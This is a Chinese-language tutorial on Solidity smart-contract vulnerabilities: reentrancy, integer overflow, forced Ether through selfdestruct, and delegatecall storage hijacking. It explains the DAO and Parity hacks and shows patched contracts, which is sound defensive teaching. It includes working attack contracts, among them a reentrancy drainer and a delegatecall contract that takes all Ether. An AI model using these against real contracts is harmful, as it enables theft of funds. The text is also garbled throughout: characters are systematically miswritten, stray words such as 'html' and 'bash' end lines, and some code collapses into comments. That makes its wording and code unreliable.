雖然處於起步階段,可是 Solidity 已被普遍採用,並被用於編譯咱們今天看到的許多以太坊智能合約中的字節碼。相應地,開發者和用戶也得到許多嚴酷的教訓,例如發現語言和EVM的細微差異。這篇文章旨在做爲一個相對深刻和最新的介紹性文章,詳述 Solidity 開發人員曾經踩過的坑,避免後續開發者重蹈覆轍。html
以太坊智能合約的特色之一是可以調用和利用其餘外部合約的代碼。合約一般也處理 Ether,所以一般會將 Ether 發送給各類外部用戶地址。調用外部合約或將以太網發送到地址的操做須要合約提交外部調用。這些外部調用可能被攻擊者劫持,迫使合約執行進一步的代碼(即經過回退函數),包括回調自身。所以代碼執行「從新進入」合約。這種攻擊被用於臭名昭著的 DAO 攻擊。python
有關重入攻擊的進一步閱讀,請參閱對智能合約的重入式攻擊和 Consensus - 以太坊智能合約最佳實踐。git
漏洞github
當合約將 Ether 發送到未知地址時,可能會發生此攻擊。攻擊者能夠在 Fallback 函數中的外部地址處構建一個包含惡意代碼的合約。所以,當合約向此地址發送 Ether 時,它將調用惡意代碼。一般,惡意代碼會在易受攻擊的合約上執行一個函數、該函數會運行一項開發人員不但願的操做。「重入」這個名稱來源於外部惡意合約回覆了易受攻擊合約的功能,並在易受攻擊的合約的任意位置「從新輸入」了代碼執行。web
爲了澄清這一點,請考慮簡單易受傷害的合約,該合約充當以太坊保險庫,容許存款人每週只提取 1 個 Ether。算法
EtherStore.sol:編程
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
複製代碼
該合約有兩個公共職能。 depositFunds() 和 withdrawFunds() 。該 depositFunds() 功能只是增長髮件人餘額。該 withdrawFunds() 功能容許發件人指定要撤回的 wei 的數量。若是所要求的退出金額小於 1Ether 而且在上週沒有發生撤回,它纔會成功。額,真會是這樣嗎?...安全
該漏洞出如今 [17] 行,咱們向用戶發送他們所要求的以太數量。考慮一個惡意攻擊者建立下列合約,bash
Attack.sol:網絡
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
複製代碼
讓咱們看看這個惡意合約是如何利用咱們的 EtherStore 合約的。攻擊者能夠(假定惡意合約地址爲 0x0...123 )使用 EtherStore 合約地址做爲構造函數參數來建立上述合約。這將初始化並將公共變量 etherStore 指向咱們想要攻擊的合約。
而後攻擊者會調用這個 pwnEtherStore() 函數,並存入一些 Ehter(大於或等於1),比方說 1Ehter,在這個例子中。在這個例子中,咱們假設一些其餘用戶已經將若干 Ehter 存入這份合約中,比方說它的當前餘額就是 10 ether 。
而後會發生如下狀況:
Attack.sol -Line [15] -EtherStore合約的 despoitFunds 函數將會被調用,並伴隨 1Ether 的 mag.value(和大量的 Gas)。sender(msg.sender) 將是咱們的惡意合約 (0x0...123) 。所以, balances[0x0..123] = 1 ether 。
Attack.sol - Line [17] - 惡意合約將使用一個參數來調用合約的 withdrawFunds() 功能。這將經過全部要求(合約的行 [12] - [16] ),由於咱們之前沒有提款。
EtherStore.sol - 行 [17] - 合約將發送 1Ether 回惡意合約。
Attack.sol - Line [25] - 發送給惡意合約的 Ether 將執行 fallback 函數。
Attack.sol - Line [26] - EtherStore 合約的總餘額是 10Ether,如今是 9Ether,若是聲明經過。
Attack.sol - Line [27] - 回退函數而後再次動用 EtherStore 中的 withdrawFunds() 函數並「重入」 EtherStore合約。
EtherStore.sol - 行 [11] - 在第二次調用 withdrawFunds() 時,咱們的餘額仍然是 1Ether,由於 行[18] 還沒有執行。所以,咱們仍然有 balances[0x0..123] = 1 ether。lastWithdrawTime 變量也是這種狀況。咱們再次經過全部要求。
EtherStore.sol - 行[17] - 咱們撤回另外的 1Ether。
步驟4-8將重複 - 直到 EtherStore.balance >= 1,這是由 Attack.sol - Line [26] 所指定的。
Attack.sol - Line [26] - 一旦在 EtherStore 合約中留下少於 1(或更少)的 Ether,此 if 語句將失敗。這樣 EtherStore 就會執行合約的 行[18]和 行[19](每次調用 withdrawFunds() 函數以後都會執行這兩行)。
EtherStore.sol - 行[18]和[19] - balances 和 lastWithdrawTime 映射將被設置而且執行將結束。
最終的結果是,攻擊者只用一筆交易,便當即從 EtherStore 合約中取出了(除去 1 個 Ether 之外)全部的 Ether。
預防技術
有許多經常使用技術能夠幫助避免智能合約中潛在的重入漏洞。
首先是(在可能的狀況下)在將 Ether 發送給外部合約時使用內置的 transfer() 函數。轉帳功能只發送 2300 gas 不足以使目的地址/合約調用另外一份合約(即重入發送合約)。
第二種技術是確保全部改變狀態變量的邏輯發生在 Ether 被髮送出合約(或任何外部調用)以前。在這個 EtherStore 例子中,EtherStore.sol - 行[18]和行[19] 應放在 行[17] 以前。將任何對未知地址執行外部調用的代碼,放置在本地化函數或代碼執行中做爲最後一個操做,是一種很好的作法。這被稱爲檢查效果交互(checks-effects-interactions)模式。
第三種技術是引入互斥鎖。也就是說,要添加一個在代碼執行過程當中鎖定合約的狀態變量,阻止重入調用。
給 EtherStore.sol 應用全部這些技術(同時使用所有三種技術是不必的,只是爲了演示目的而已)會出現以下的防重入合約:
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
複製代碼
真實的例子:The DAO
The DAO(分散式自治組織)是以太坊早期發展的主要黑客之一。當時,該合約持有1.5億美圓以上。重入在此次攻擊中發揮了重要做用,最終致使了 Ethereum Classic(ETC)的分叉。有關The DAO 漏洞的詳細分析,請參閱 Phil Daian 的文章。
以太坊虛擬機(EVM)爲整數指定固定大小的數據類型。這意味着一個整型變量只能有必定範圍的數字表示。例如,一個 uint8 ,只能存儲在範圍 [0,255] 的數字。試圖存儲 256 到一個 uint8 將變成 0。不加註意的話,只要沒有檢查用戶輸入又執行計算,致使數字超出存儲它們的數據類型容許的範圍,Solidity 中的變量就能夠被用來組織攻擊。
要進一步閱讀算法上下溢出,請參閱如何保護您的智能合約,以太坊智能合約最佳實踐和以太坊,Solidity 和整數溢出:像身處1970 年那樣爲區塊鏈編程
漏洞
當執行操做須要固定大小的變量來存儲超出變量數據類型範圍的數字(或數據)時,會發生數據上溢/下溢。
例如,從一個存儲 0 的 uint8 (無符號的 8 位整數,即只有正數)變量中減去 1,將致使該變量的值變爲 255。這是一個下溢。咱們明明爲該 uint8 分配了一個低於其儲存範圍的值,結果倒是 繞回來 變成了 uint8 所能儲存的最大值。一樣,給一個 uint8 加上 2^8=256 會使變量保持不變,由於咱們已經繞過了 uint 的整個值域又回到原值(對於數學家來講,這相似於將三角函數的角度加上 2pi ,sin(x) = sin(x + 2pi))。添加大於數據類型範圍的數字稱爲上溢。爲了清楚起見,添加 257 到一個目前僅有 0 值的 uint8 變量將變成數字 1。將固定類型變量視爲循環有時頗有啓發意義,若是咱們加入的數字超出最大可存儲數字,等因而從零開始加上超出額,反之也是從零開始(從零中減去必定數額,等同於從最大數字往下減該數額)。
這些類型的漏洞容許攻擊者濫用代碼並建立意外的邏輯流程。例如,請考慮下面的時間鎖定合約。
TimeLock.sol:
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
複製代碼
這份合約的設計就像是一個時間保險庫,用戶能夠將 Ether 存入合約,並在那裏鎖定至少一週。若是用戶選擇的話,用戶能夠延長超過1周的時間,可是一旦存放,用戶能夠確信他們的 Ether 會被安全鎖定至少一週。有沒有別的可能性?...
若是用戶被迫交出他們的私鑰(考慮綁票的情形),像這樣的合約可能很方便,以確保在短期內沒法得到 Ether。可是,若是用戶已經鎖定了 100Ether 合約並將其密鑰交給了攻擊者,那麼攻擊者可使用溢出來接收 Ether,無視 lockTime 的限制。
攻擊者能夠肯定他們所持密鑰的地址的 lockTime (它是一個公共變量)。咱們稱之爲 userLockTime 。而後他們能夠調用該 increaseLockTime 函數並將數字 2^256 - userLockTime 做爲參數傳入。該數字將被添加到當前的 userLockTime 並致使溢出,重置 lockTime[msg.sender] 爲0。攻擊者而後能夠簡單地調用 withdraw 函數來得到他們的獎勵。
咱們來看另外一個例子,來自 Ethernaut Challanges 的這個例子。
SPOILER ALERT: 若是你尚未完成 Ethernaut 的挑戰,這能夠解決其中一個難題。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
複製代碼
這是一個簡單的 Token 合約,它使用一個 transfer() 函數,容許參與者轉移他們的 Token。你能看出這份合約中的錯誤嗎?
缺陷出如今 transfer() 功能中。行[13]上的 require 語句可使用下溢來繞過。考慮一個沒有餘額的用戶。他們能夠用任何非零值 _value 調用 transfer() 函數,並將 _value 傳入 行[13] 上的 require 語句。由於 balances[msg.sender] 爲零(也便是 uint256 ),減去任何正數(不包括 2^256 )都將致使正數(因爲咱們上面描述的下溢)。對於 行[14] 也是如此,咱們的餘額將記入正數。所以,在這個例子中,咱們因爲下溢漏洞獲得了免費的 Token。
預防技術
防止溢出漏洞的(當前)常規技術是使用或創建取代標準數學運算符的數學庫; 加法,減法和乘法(除法被排除在外,由於它不會致使上溢/下溢,而且 EVM 除以 0 時會丟出錯誤)。
OppenZepplin 在構建和審計 Ethereum 社區能夠利用的安全庫方面作得很是出色。特別是,他們的 SafeMath 是一個用來避免上溢/下溢漏洞的參考或庫。
爲了演示如何在 Solidity 中使用這些庫,讓咱們使用 Open Zepplin 的 SafeMath 庫更正合約 TimeLock。防溢出的合約長這樣:
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TimeLock { using SafeMath for uint; // use the library for uint type mapping(address => uint256) public balances; mapping(address => uint256) public lockTime; function deposit() public payable { balances[msg.sender] = balances[msg.sender].add(msg.value); lockTime[msg.sender] = now.add(1 weeks); } function increaseLockTime(uint256 _secondsToIncrease) public { lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease); } function withdraw() public { require(balances[msg.sender] > 0); require(now > lockTime[msg.sender]); balances[msg.sender] = 0; msg.sender.transfer(balances[msg.sender]); } } 複製代碼
請注意,全部標準的數學運算已被 SafeMath 庫中定義的數學運算所取代。該 TimeLock 合約不會再執行任何可以致使下溢/上溢的操做。
實際示例:PoWHC 和批量傳輸溢出(CVE-2018-10299)
一個 4chan 小組認爲,用 Solidity 在 Ethereum上 構建一個龐氏騙局是個好主意。他們稱它爲弱手硬幣證實(PoWHC)。不幸的是,彷佛合約的做者以前沒有看到上溢/下溢問題,所以,866Ether 從合約中解放出來。Eric Banisadar 的文章對下溢是如何發生的做出了很好的概述(這與上面的 Ethernaut 挑戰不太類似)。
一些開發人員還爲一些 ERC20 Token 合約實施了一項 batchTransfer() 函數。該實現包含溢出。這篇文章對此進行了解釋,可是我認爲標題有誤導性,由於它與 ERC20 標準無關,而是一些 ERC20 Token 合約實現了易受攻擊的 batchTransfer() 函數。
一般,當 Ether 發送到合約時,它必須執行回退功能或合約中描述的其餘功能。這裏有兩個例外,合約可能會收到了 Ether 但並不會執行任何函數。經過收到以太幣來觸發代碼的合約,對強制將以太幣發送到某個合約這類攻擊是很是脆弱的。
關於這方面的進一步閱讀,請參閱如何保護您的智能合約:6 和 Solidity security patterns - forcing ether to a contract
漏洞
一種經常使用的防護性編程技術對於執行正確的狀態轉換或驗證操做頗有用,它是不變量檢查(Invariant-checking)。該技術涉及定義一組不變量(不該改變的度量或參數),而且在單個(或多個)操做以後檢查這些不變量保持不變。這基本上是很好的設計,保證受到檢查的不變量在實際上保持不變。不變量的一個例子是發行量固定的 ERC20 代幣合約的 totalSupply 。不該該有函數能修改此不變量,所以能夠在該 transfer() 函數中添加一個檢查以確保 totalSupply 保持未修改狀態,確保函數按預期工做。
無論智能合約中規定的規則如何,有一個量,特別容易誘導開發人員將其看成明顯的「不變量」來使用,但它在事實上是能夠由外部用戶來操縱的,那即是合約中存儲的 Ether 數量。一般,開發人員剛開始學習 Solidity 時,他們有一種誤解,認爲合約只能經過 payable 函數接受或得到 Ether。這種誤解可能會致使合約對其內部的 ETH 餘額有錯誤的假設,進而致使一系列的漏洞。此漏洞的明顯信號是(不正確地)使用 this.balance 。正如咱們將看到的,錯誤地使用 this.balance 會致使這種類型的嚴重漏洞。
有兩種方式能夠將 Ether(強制)發送給合約,而無需使用 payable 函數或執行合約中的任何代碼。這些在下面列出。
自毀
任何合約都可以實現該 selfdestruct(address) 功能,該功能從合約地址中刪除全部字節碼,並將全部存儲在那裏的 Ether 發送到參數指定的地址。若是此指定的地址也是合約,則不會調用任何功能(包括故障預置)。所以,使用 selfdestruct() 函數能夠無視目標合約中存在的任何代碼,強制將 Ether 發送給任一目標合約,包括沒有任何可支付函數的合約。這意味着,任何攻擊者均可以建立帶有 selfdestruct() 函數的合約,向其發送 Ether,調用 selfdestruct(target) 並強制將 Ether 發送至 target 合約。Martin Swende 有一篇出色的博客文章描述了自毀操做碼(Quirk#2)的一些詭異操做,並描述了客戶端節點如何檢查不正確的不變量,這可能會致使至關災難性的客戶端問題。
合約不使用 selfdestruct() 函數或調用任何 payable 函數仍能夠接收到 Ether 的第二種方式是把 Ether 預裝進合約地址。合約地址是肯定性的,實際上地址是根據建立合約的地址及建立合約的交易 Nonce 的哈希值計算得出的,即下述形式: address = sha3(rlp.encode([account_address,transaction_nonce]) 請參閱 Keyless Ether 在這一點上的一些有趣用例)。這意味着,任何人均可以在建立合約以前計算出合約地址,並將 Ether 發送到該地址。當合約確實建立時,它將具備非零的 Ether 餘額。
根據上述知識,咱們來探討一些可能出現的缺陷。
考慮過於簡單的合約,
EtherGame.sol:
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
複製代碼
這個合約表明一個簡單的遊戲(天然會引發條件競爭(Race-conditions)),玩家能夠將 0.5 ether 發送給合約,但願成爲第一個達到三個里程碑之一的玩家。里程碑以 Ether 計價。當遊戲結束時,第一個達到里程碑的人能夠得到合約的部分 Ether。當達到最後的里程碑(10 Ether)時,遊戲結束,用戶能夠申請獎勵。
EtherGame 合約的問題出自在 [14] 行(以及相關的 [16] 行)和 [32] 行中對 this.balance 的錯誤使用。一個調皮的攻擊者能夠經過(上面討論過的) selfdestruct() 函數強行發送少許的以太,好比 0.1 ether,以防止將來的玩家達到一個里程碑。因爲全部合法玩家只能發送 0.5 ether 增量,而合約收到了 0.1 ether ,合約的 this.balance 再也不是半個整數。這會阻止 [18]、[21]和[24] 行的全部條件成立。
更糟糕的是,一個因錯過了里程碑而復仇心切的攻擊者可能會強行發送 10 ether (或者會將合約的餘額推到高出 finalMileStone 的數量),這將永久鎖定合約中的全部獎勵。這是由於 claimReward() 函數老是會回彈,由於 [32] 行中的要求(即 this.balance 大於 finalMileStone )。
預防技術
這個漏洞一般是因爲錯誤運用 this.balance 而產生的。若是可能,合約邏輯應該避免依賴於合約餘額的確切值,由於它能夠被人爲地操縱。若是應用基於 this.balance 函數的邏輯語句,請確保考慮到了飛來橫 Ether。
若是須要存儲 Ether 的肯定值,則應使用自定義變量來得到經過可支付函數得到的增量,以安全地追蹤儲存 Ether 的值。這個變量不該受到經過調用 selfdestruct() 強制發送的 Ether 的影響。
考慮到這一點,修正後的EtherGame合約版本可能以下所示:
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
複製代碼
在這裏,咱們剛剛建立了一個新變量, depositedEther,它跟蹤已知的 Ether 存儲量,而且這也是咱們執行需求和測試時用到的變量。請注意,咱們再也不參考 this.balance。
真實世界的例子:未知
我尚未找到該漏洞在真實世界中被利用的例子。然而,在 Underhanded Solidity 競賽中出現了一些可利用該漏洞的合約的例子。
CALL 與 DELEGATECALL 操做碼是很是有用的,它們讓 Ethereum 開發者將他們的代碼模塊化(Modularise)。用 CALL 操做碼來處理對合約的外部標準信息調用(Standard Message Call)時,代碼在外部合約/功能的環境中運行。 DELEGATECALL 操做碼也是標準消息調用,但在目標地址中的代碼會在調用合約的環境下運行,也就是說,保持 msg.sender 和 msg.value 不變。該功能支持實現庫,開發人員能夠爲將來的合約建立可重用的代碼。
雖然這兩個操做碼之間的區別很簡單直觀,可是使用 DELEGATECALL 可能會致使意外的代碼執行。
漏洞
DELEGATECALL 會保持調用環境不變的屬性代表,構建無漏洞的定製庫並不像人們想象的那麼容易。庫中的代碼自己能夠是安全的,無漏洞的,可是當在另外一個應用的環境中運行時,可能會出現新的漏洞。讓咱們看一個至關複雜的例子,使用斐波那契數字。
考慮下面的能夠生成斐波那契數列和類似形式序列的庫:FibonacciLib.sol <注1>
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
複製代碼
該庫提供了一個函數,能夠在序列中生成第 n 個斐波那契數。它容許用戶更改第 0 個 start 數字並計算這個新序列中的第 n 個斐波那契數字。
如今咱們來考慮一個利用這個庫的合約。
FibonacciBalance.sol:
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
複製代碼
該合約容許參與者從合約中提取 ether,金額等於參與者提款訂單對應的斐波納契數字;即第一個參與者得到 1 ether,第二個參與者得到 1,第三個得到 2,第四個得到 3,第五個得到 5 等等(直到合約的餘額小於被取出的斐波納契數)。
本合約中的許多要素可能須要一些解釋。首先,有一個看起來頗有趣的變量, fibSig。這包含字符串「fibonacci(uint256)」的 Keccak(SHA-3) 哈希值的前4個字節。這被稱爲函數選擇器,它被放入 calldata 中以指定調用智能合約的哪一個函數。在 [21] 行的 delegatecall 函數中,它被用來指出:咱們但願運行 fibonacci(uint256) 函數。 delegatecall 的第二個參數是咱們傳遞給函數的參數。其次,咱們假設 FibonacciLib 庫的地址在構造函數中正確引用(部署攻擊向量部分會討論與合約參考初始化相關的潛在漏洞)。
你能發現這份合約中的錯誤嗎?若是你把它放到 Remix 裏面編譯,存入 Ether 並調用 withdraw() ,它可能會回滾狀態。(Revert)
您可能已經注意到,在庫和主調用合約中都使用了狀態變量 start。在庫合約中, start 用於指定斐波納契數列的起點,它被設置爲 0,而 FibonacciBalance 合約中它被設置爲 3。你可能還注意到,FibonacciBalance 合約中的回退函數容許將全部調用傳遞給庫合約,所以也容許調用庫合約的 setStart() 函數。回想一下,咱們會保留合約狀態,那麼看起來你就能夠據此改變本地 FibonnacciBalance 合約中 start 變量的狀態。若是是這樣,一個用戶能夠取出更多的 Ether,由於最終的 calculatedFibNumber 依賴於 start 變量(如庫合約中所見)。實際上,該 setStart() 函數不會(也不能)修改 FibonacciBalance 合約中的 start 變量。這個合約中的潛在弱點比僅僅修改 start 變量要糟糕得多。
在討論實際問題以前,咱們先快速繞道瞭解狀態變量( storage 變量)其實是如何存儲在合約中的。狀態或 storage 變量(貫穿單個交易、始終都存在的變量)在合約中引入時,是按順序放置在 slots 中的。(這裏有一些複雜的東西,我鼓勵讀者閱讀存儲中狀態變量的佈局以便更透徹地理解)。
做爲一個例子,讓咱們看看庫合約。它有兩個狀態變量, start 和 calculatedFibNumber。第一個變量是 start ,所以它被存儲在合約的存儲位置 slot[0] (即第一個 slot)。第二個變量 calculatedFibNumber 放在下一個可用的存儲位置中,也就是 slot[1] 。若是咱們看看 setStart() 這個函數,它能夠接收一個輸入並依據輸入來設置 start。所以, setStart()函數能夠將 slot[0] 設置爲咱們在該函數中提供的任何輸入。一樣, setFibonacci() 函數也能夠將 calculatedFibNumber 設置爲 fibonacci(n) 的結果。再說一遍,這只是將存儲位置 slot[1] 設置爲 fibonacci(n) 的值。
如今讓咱們看看 FibonacciBalance 合約。存儲位置 slot[0] 如今對應於 fibonacciLibrary 的地址, slot[1] 對應於 calculatedFibNumber 。這就是漏洞所在。 delegatecall 會保留合約環境。這意味着經過 delegatecall 執行的代碼將做用於調用合約的狀態(即存儲)。
如今,請注意在 [21] 行上的 withdraw(), fibonacciLibrary.delegatecall(fibSig,withdrawalCounter) 。這會調用 setFibonacci(),正如咱們討論的那樣,會修改存儲位置 slot[1] ,在咱們當前的環境中就是 calculatedFibNumber 。咱們預期是這樣的(即執行後, calculatedFibNumber 會獲得調整)。可是,請記住,FibonacciLib 合約中,位於存儲位置 slot[0] 中的是 start 變量,而在當前(FibonacciBalance)合約中就是 fibonacciLibrary 的地址。這意味着 fibonacci() 函數會帶來意想不到的結果。這是由於它引用 start ( slot[0] ),而該位置在當前調用環境中是 fibonacciLibrary 的地址(若是用 uint 來表達的話,該值會很是大)。所以,調用 withdraw() 函數極可能會致使狀態回滾(Revert),由於 calcultedFibNumber 會返回uint(fibonacciLibrary),而合約卻沒有那麼多數量的 Ether。
更糟糕的是,FibonacciBalance 合約容許用戶經過 [26] 行上的回退(Fallback)函數調用 fibonacciLibrary 的全部函數。正如咱們前面所討論的那樣,這包括 setStart() 函數。咱們討論過這個功能容許任何人修改或設置 slot[0] 的值。在當前合約中,存儲位置 slot[0] 是 fibonacciLibrary 地址。所以,攻擊者能夠建立一個惡意合約(下面是一個例子),將惡意合約地址轉換爲一個 uint 數據(在 python 中可使用 int('
',16) 輕鬆完成),而後調用 setStart(<attack_contract_address_as_uint>) ,這會將 fibonacciLibrary 轉變爲攻擊合約的地址。而後,不管什麼時候用戶調用 withdraw() 或回退函數,惡意合約都會運行(它能夠竊取合約的所有餘額),由於咱們修改了 fibonacciLibrary 指向的實際地址。這種攻擊合約的一個例子是:contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether. <attacker_address>.transfer(this.balance); // we take all the ether } } 複製代碼
請注意,此攻擊合約能夠經過更改存儲位置 slot[1] 來修改 calculatedFibNumber 。原則上,攻擊者能夠修改他們選擇的任何其餘存儲位置來對本合約執行各類攻擊。我鼓勵全部讀者將這些合約放入 Remix,並經過這些 delegatecall 函數嘗試不一樣的攻擊合約和狀態更改。
一樣重要的是要注意,當咱們說 delegatecall 會保留狀態,咱們說的並非合約中不一樣名稱下的變量,而是這些名稱指向的實際存儲位置。從這個例子中能夠看出,一個簡單的錯誤,可能致使攻擊者劫持整個合約及其 Ether。
預防技術
Solidity 爲實現庫合約提供了關鍵字 library (參見 Solidity Docs 瞭解更多詳情)。這確保了庫合約是無狀態(Stateless)且不可自毀的。強制讓 library 成爲無狀態的,能夠緩解本節所述的存儲環境的複雜性。無狀態庫也能夠防止攻擊者直接修改庫狀態的攻擊,以實現依賴庫代碼的合約。做爲通常的經驗法則,在使用時 DELEGATECALL 時要特別注意庫合約和調用合約的可能調用上下文,而且儘量構建無狀態庫。
真實世界示例:Parity Multisig Wallet(Second Hack)
Parity 多簽名錢包第二次被黑事件是一個例子,說明了若是在非預期的環境中運行,良好的庫代碼也能夠被利用。關於此次被黑事件,有不少很好的解釋,好比這個概述:Anthony Akentiev 寫的 再一次解釋 Parity 多簽名錢包被黑事件,這個stack exchange 上的問答和深刻了解Parity Multisig Bug。
要深刻理解這些參考資料,咱們要探究一下被攻擊的合約。受攻擊的庫合約和錢包合約能夠在 Parity 的 github 上找到。
咱們來看看這個合約的相關方面。這裏有兩個包含利益的合約,庫合約和錢包合約。
先看 library 合約:
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to ` _to ` .
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
複製代碼
再看錢包合約,
contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
...
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
}
複製代碼
請注意,Wallet 合約基本上會經過 delegate call 將全部調用傳遞給 WalletLibrary。此代碼段中的常量地址 _walletLibrary,便是實際部署的 WalletLibrary 合約的佔位符(位於 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4 )。
這些合約的預期運做是生成一個簡單的可低成本部署的 Wallet 合約,合約的代碼基礎和主要功能都在 WalletLibrary 合約中。不幸的是,WalletLibrary 合約自己就是一個合約,並保持它本身的狀態。你能能不能看出爲何這會是一個問題?
